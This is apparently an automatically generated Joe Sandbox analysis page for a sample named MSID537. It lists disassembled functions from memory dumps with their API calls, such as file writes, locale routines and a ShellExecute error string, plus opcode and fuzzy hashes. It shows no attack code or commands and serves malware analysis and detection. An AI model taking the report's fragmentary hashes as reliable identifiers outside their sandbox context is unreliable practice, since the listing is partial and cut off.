Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bc582be722f7250b4cdd69501f7cb66d8e45326aea39e2478a73f423ebe1192a
Instruction ID: 315b390d3a0f1a6440a712de278f8798150a1c3bf8efc003a1ca0179a64ecb24
Opcode Fuzzy Hash: bc582be722f7250b4cdd69501f7cb66d8e45326aea39e2478a73f423ebe1192a
Instruction Fuzzy Hash: AED159B5E446489FCB15CFA8D880AADBBF5FF09304F1845AAE855EB351DB30A942CF50

Function 00B98872 Relevance: 6.3, APIs: 4, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B98879
_strcspn.LIBCMT ref: 00B988E4
_strcspn.LIBCMT ref: 00B98904
ctype.LIBCPMT ref: 00B98974

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 3b0e7b2480e0d4c054d0f21d86d28b1352c2ab301f46423e9b4e6d08fa657a01
Instruction ID: b16e5689c325b3b802f42cc14566a093ae84e2069527de6eb5dd18fdb752fdb0
Opcode Fuzzy Hash: 3b0e7b2480e0d4c054d0f21d86d28b1352c2ab301f46423e9b4e6d08fa657a01
Instruction Fuzzy Hash: C7C15B71900209DFDF15DF94C981AEEBBF9FF49310F2441AAE805AB251DB34AE45CBA1

Function 00B92A16 Relevance: 6.3, APIs: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B92A1D
_strcspn.LIBCMT ref: 00B92A88
_strcspn.LIBCMT ref: 00B92AA8
ctype.LIBCPMT ref: 00B92B18

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 340b9274b2fe2da7677c6c4acd411171a91df0e90eb7f37a1c65af822943ddef
Instruction ID: 087c40cc4ae29064772af5f27c00c92edb0591ea3ef5e7f33d6646c5041698a1
Opcode Fuzzy Hash: 340b9274b2fe2da7677c6c4acd411171a91df0e90eb7f37a1c65af822943ddef
Instruction Fuzzy Hash: 87C14B71D00209AFDF15DFA8C981AEEBBF9FF08310F1445A9E405AB251D734AE45CBA1

Function 00BA4F20 Relevance: 6.3, APIs: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA4F27
collate.LIBCPMT ref: 00BA4F33

Part of subcall function 00BA3E70: __EH_prolog3_GS.LIBCMT ref: 00BA3E77
Part of subcall function 00BA3E70: __Getcoll.LIBCPMT ref: 00BA3EDB

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

__Getcoll.LIBCPMT ref: 00BA4F76

Part of subcall function 00BA3CD4: __EH_prolog3.LIBCMT ref: 00BA3CDB
Part of subcall function 00BA3CD4: std::_Lockit::_Lockit.LIBCPMT ref: 00BA3CE5
Part of subcall function 00BA3CD4: std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3D56

Part of subcall function 00B94403: __EH_prolog3.LIBCMT ref: 00B9440A
Part of subcall function 00B94403: std::_Lockit::_Lockit.LIBCPMT ref: 00B94414
Part of subcall function 00B94403: std::_Lockit::~_Lockit.LIBCPMT ref: 00B944BB

numpunct.LIBCPMT ref: 00BA51A6

Part of subcall function 00B884C0: LocalAlloc.KERNEL32(00000040,00000000,00BA839D,00000000,E5F50329,?,00000000,?,00000000,?,00BCCB8D,000000FF,?,00B817D5,00000000,00BCD3BA), ref: 00B884C6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_$Getcoll$AllocH_prolog3_Localcollatenumpunct
String ID:
API String ID: 2732324234-0
Opcode ID: d53e52e67360efc64b06296d0c6d6e4d6ad5121bd6e9ced3ba5a9a4ef7f70e16
Instruction ID: 1d4d45d4d949bf6fb0beecc9a549f0b9251fcb23475fa844859e06926537299a
Opcode Fuzzy Hash: d53e52e67360efc64b06296d0c6d6e4d6ad5121bd6e9ced3ba5a9a4ef7f70e16
Instruction Fuzzy Hash: 8091D872808611ABDB30AB748806B7F7AE9EF82760F1545EDF85967351EF708E0087E1

Function 00BAAFD5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BAB09C
___AdjustPointer.LIBCMT ref: 00BAB0BF
___AdjustPointer.LIBCMT ref: 00BAB15B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d7cda6d064e735e97144e0aaf88f4cf720f0cbe07cd3895304777b12bcc0ce15
Instruction ID: cb1c76f06d422e07e1f51bab88e9f8262cb707fd4f25e8e5269d2448c69d0577
Opcode Fuzzy Hash: d7cda6d064e735e97144e0aaf88f4cf720f0cbe07cd3895304777b12bcc0ce15
Instruction Fuzzy Hash: 8551B272A08202AFDB298F54D891F6A77E4EF16310F1445ADEC2257192E731EC90DB90

Function 00BB7B18 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 719ec7acefe9acac7ee4acd4ea7a6ed4b651a28ee4c1c210bfea58cf7dbe76bf
Instruction ID: 8a715ed559922799126fac9268071a8668b50e071aa84e1cda88ff8c37728614
Opcode Fuzzy Hash: 719ec7acefe9acac7ee4acd4ea7a6ed4b651a28ee4c1c210bfea58cf7dbe76bf
Instruction Fuzzy Hash: C421C371288205AFCB30AF75CC91DBB7BE9EF8136471085A9F91597240EFB0EC408BA0

Function 00B89020 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,76C15490,00B88B3A,00000000,?,?,?,?,?,?,?,00000000,00BCA285,000000FF), ref: 00B89027

Strings

Last error=, xrefs: 00B89081
Call to ShellExecute() for verb<, xrefs: 00B89031
> returned:, xrefs: 00B89036

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 1423aa048c5ad9bf080cf6431d0d44decac94b9438fa91d468d32d05f99af50d
Instruction ID: 41bc10ac6314a19a2e7a5ba344fbd40ce54ab738a1262af8f27ba1e1b247b947
Opcode Fuzzy Hash: 1423aa048c5ad9bf080cf6431d0d44decac94b9438fa91d468d32d05f99af50d
Instruction Fuzzy Hash: 2D215B49A20261C7CF346F2C941173AA6F0EF64759F6904AFE8C9D73A5FB698C81C391

Function 00B94403 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9440A
std::_Lockit::_Lockit.LIBCPMT ref: 00B94414
std::_Lockit::~_Lockit.LIBCPMT ref: 00B944BB
Concurrency::cancel_current_task.LIBCPMT ref: 00B944C6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskH_prolog3Lockit::_Lockit::~_
String ID:
API String ID: 4244582100-0
Opcode ID: c183c75d9582c186d1105dcc28de2fb19d477aaa26df4634b4d7f54d448476f3
Instruction ID: 5e01bf68193a7aa8d67d3c430f5116615ffc0b7dd4e304f1b51ad17c1a90943b
Opcode Fuzzy Hash: c183c75d9582c186d1105dcc28de2fb19d477aaa26df4634b4d7f54d448476f3
Instruction Fuzzy Hash: 5E214A34A10A16AFCB04EF14C891E6DB7A1FF49710F1184AAE9169B7A1CF30ED11CF80

Function 00B91400 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,E5F50329), ref: 00B9143C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B9145C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B9148D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00B914A6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: fd40b7444340b1df0457b31cea4d60b7d64ff6c14df5b8127aae30a62af760e8
Instruction ID: 50c63b384fa63fa8becfcd3fb8ea56654d325dcfe43c7f423e0cbc172c6dbe29
Opcode Fuzzy Hash: fd40b7444340b1df0457b31cea4d60b7d64ff6c14df5b8127aae30a62af760e8
Instruction Fuzzy Hash: 6121B475940315ABD7208F58DC09F9ABBF8FB09B24F10416AF500A73D0DBB45A05CB94

Function 00B980C5 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B980CC
std::_Lockit::_Lockit.LIBCPMT ref: 00B980D6

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B98127
std::_Lockit::~_Lockit.LIBCPMT ref: 00B98147

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f40a4a02988b8a8609fa8d2d98be986023ecfe50b3ad25275cb3ec67c4d8d66f
Instruction ID: 231b306fbf501ad1a96c1da5b4320e74517ba3e8032f1a98371be8e4c8bb298f
Opcode Fuzzy Hash: f40a4a02988b8a8609fa8d2d98be986023ecfe50b3ad25275cb3ec67c4d8d66f
Instruction Fuzzy Hash: BD01D271940669DBCF11EB64D846AAE77F1EF85320F2504A9E4107B3A1DF349E02CB80

Function 00B981EF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B981F6
std::_Lockit::_Lockit.LIBCPMT ref: 00B98200

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B98251
std::_Lockit::~_Lockit.LIBCPMT ref: 00B98271

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f4a77914eb19b433e7936f7e5c66862675751e5368f1149f2a9c8991f866354f
Instruction ID: 2653e56d297be31de540e78b24dc8e878a1e3e83d54a68b7e8f07e76cbcd555a
Opcode Fuzzy Hash: f4a77914eb19b433e7936f7e5c66862675751e5368f1149f2a9c8991f866354f
Instruction Fuzzy Hash: 5301C436944619DBCF11EBA4C846AAD77F1AF84710F2504AAE8106B2A1DF749E01CB90

Function 00B9815A Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B98161
std::_Lockit::_Lockit.LIBCPMT ref: 00B9816B

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B981BC
std::_Lockit::~_Lockit.LIBCPMT ref: 00B981DC

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 0bef536363a1a556cd5481599e50530a5c76631cd5a88fa93a36a94337b99ab9
Instruction ID: 2cedadccf60230ce35370e9a8cb50d9adb0e2a58cf41c15e3e8397622b9b6453
Opcode Fuzzy Hash: 0bef536363a1a556cd5481599e50530a5c76631cd5a88fa93a36a94337b99ab9
Instruction Fuzzy Hash: BB01C435940619DBCF11EBA4D846ABE77E1EF88320F2404A9E4107B392CF709E02CB90

Function 00B926F9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B92700
std::_Lockit::_Lockit.LIBCPMT ref: 00B9270A

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B9275B
std::_Lockit::~_Lockit.LIBCPMT ref: 00B9277B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f60dae46028de94ef76fa2f5d73243ade5453ee81022dafa9cefdb9e30742890
Instruction ID: cef13ca8d1f53695cbab85bea7094fe9810d410bea0351834730f32bfaf907a6
Opcode Fuzzy Hash: f60dae46028de94ef76fa2f5d73243ade5453ee81022dafa9cefdb9e30742890
Instruction Fuzzy Hash: BB01C035D00619EBCF11FBA4C846AAD77E5AF84310F2401A9E810BB2A1CF349E01CBC0

Function 00B9278E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B92795
std::_Lockit::_Lockit.LIBCPMT ref: 00B9279F

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B927F0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B92810

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 6a6c86493c071aa7c0e7a311fb8cbcf04a0181dd57f75156a4bb90d14e35ca40
Instruction ID: ef3f36c375ac16cefb228992b57644e7528f5ed099e83196efe8458ec50ac618
Opcode Fuzzy Hash: 6a6c86493c071aa7c0e7a311fb8cbcf04a0181dd57f75156a4bb90d14e35ca40
Instruction Fuzzy Hash: 5801D236D00619EBCF15FB64D886AAE77F1EF85310F2404A9E4106B2A2DF349E01CB90

Function 00BA39EB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA39F2
std::_Lockit::_Lockit.LIBCPMT ref: 00BA39FC

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00BA3A4D
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3A6D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7661985a824ada53fb37779d4411092de1df05522db8339e86e0bc7301ce3cc7
Instruction ID: 1501dc7e6be6f7ed01025b3f59d090a9dd07b22e3f4373257f1248a5a173c020
Opcode Fuzzy Hash: 7661985a824ada53fb37779d4411092de1df05522db8339e86e0bc7301ce3cc7
Instruction Fuzzy Hash: C301C072944629DBCF11EBA4C846AAD7BF1EF85720F24009AF4106B2A1DF309F01CB80

Function 00B979C9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B979D0
std::_Lockit::_Lockit.LIBCPMT ref: 00B979DA

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97A2B
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97A4B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e21095650b3403ead3a1a47b0165b1617ee53ffcd52e8252398bab2fcbb7ff92
Instruction ID: f73848b6e4cd118c09424d38071ed17e88e6709767f2119aa4d7b1b7b3b4975c
Opcode Fuzzy Hash: e21095650b3403ead3a1a47b0165b1617ee53ffcd52e8252398bab2fcbb7ff92
Instruction Fuzzy Hash: 5801F536D44659DBCF11FB64D846ABE7BF1EF85320F2504A9E4206B2A1CF309E01CB80

Function 00BA3A80 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA3A87
std::_Lockit::_Lockit.LIBCPMT ref: 00BA3A91

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00BA3AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00BA3B02

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e24ad0bdd36e8278bc353875058cb33ec1f2d3d73f2b2b09d4180d4cb1c48f4b
Instruction ID: eddf2e39c442fbc41e22a93beeedcdbf4bd4129dead23873ab2d102bf5e7bb82
Opcode Fuzzy Hash: e24ad0bdd36e8278bc353875058cb33ec1f2d3d73f2b2b09d4180d4cb1c48f4b
Instruction Fuzzy Hash: A401D231948619DBCF11FB64D846ABD7BF1EF85720F24049AF4116B2A1DF719E01CB90

Function 00B97AF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97AFA
std::_Lockit::_Lockit.LIBCPMT ref: 00B97B04

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

std::_Facet_Register.LIBCPMT ref: 00B97B55
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97B75

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e250bdd44995e121e85a45b1bdde1ae5dae8ec328106f8ac64156aadade84872
Instruction ID: a5ac5b1dc262c1a60101126be9a97e9652eac5776fb5cfbca25a5e219a378dfc
Opcode Fuzzy Hash: e250bdd44995e121e85a45b1bdde1ae5dae8ec328106f8ac64156aadade84872
